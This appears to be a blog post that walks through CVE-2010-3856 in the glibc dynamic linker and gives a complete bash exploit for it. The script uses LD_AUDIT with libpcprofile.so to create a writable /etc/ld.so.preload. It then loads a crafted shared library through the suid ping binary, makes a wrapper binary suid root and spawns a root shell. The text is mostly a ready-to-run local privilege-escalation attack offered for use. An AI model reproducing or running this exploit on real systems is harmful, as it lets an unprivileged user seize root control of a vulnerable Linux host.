CVE-2010-3856: GNU C library dynamic linker LD_AUDIT arbitrary DSO load Vulnerability

This nice vulnerability was found by Tavis Ormandy, and seems to affect every glibc version > 2.4. Once again this is a logical bug which requires no shellcode for exploitation, so it works on hosts with grsecurity/PaX installed. That being said, Tavis fully explains the bug here so I won’t paraphrase him. Instead I want to share a more straight forward exploitation vector, using /etc/ld.so.preload instead of a cron file, so you don’t have to wait for the cron to be run. It will also make exploitation possible on hosts where the cron daemon check permissions on cron files before executing them.

/etc/ld.so.preload is very similar to LD_PRELOAD, except it also works with suid binaries. Exploitation is nearly the same, we just have to create the file /etc/ld.so.preload instead of /etc/cron.d/exploit using the same technique as in Tavis’ advisory, and then put the path of a crafted shared library in there. This will allow us to redefine a library function called by the suid binary we will run. We will use ping, which calls getuid(), so our crafted shared library just has to implement getuid(). Our getuid() function will be run as root, meaning we can for example set the suid bit on a binary of our choice. So we’ll create a small wrapper which sets uid/gid to current euid and execute bash. Then we just have to make this wrapper suid root when our getuid() function is called.

Here is the exploit:

#!/bin/bash
# CVE-2010-3856
# Author: deadbyte
 
OUTPUT=/etc/ld.so.preload
 
MASK=`umask`
umask 0
LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="$OUTPUT" ping 2> /dev/null
if [ ! -f $OUTPUT ]; then
  echo "System does not appear to be vulnerable"
  exit 0
fi
echo -n > $OUTPUT
umask $MASK
 
cat > sh.c << EOF
#include <unistd.h>
#include <stdio.h>
int main (int argc, char **argv, char **envp)
{
  char *args[] = { "/bin/bash", NULL };
  setuid(geteuid());
  setgid(getegid());
  execve(args[0], args, envp);
  perror("execve failed");
  return 0;
}
EOF
gcc sh.c -o sh
 
cat > libpwn.c << EOF
#include <sys/stat.h>
#include <unistd.h>
uid_t getuid (void)
{
  chown("$PWD/sh", 0, 0);
  chmod("$PWD/sh", S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH);
  return 0;
}
EOF
gcc -Wall -fPIC -c libpwn.c
gcc -shared -Wl,-soname,libpwn.so -o libpwn.so libpwn.o
 
echo "$PWD/libpwn.so" > $OUTPUT
ping 2> /dev/null
echo -n > $OUTPUT
./sh

If you wonder why I clear the content of /etc/ld.so.preload twice, the first time is because when the file is created it will contain junk data, and the loader will print a warning for every command you run. The second time is to stop calling our getuid() function.

2 Comments

Leave a Reply

XHTML: You can use these tags:
<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong> <pre lang="" line="" escaped="" highlight="">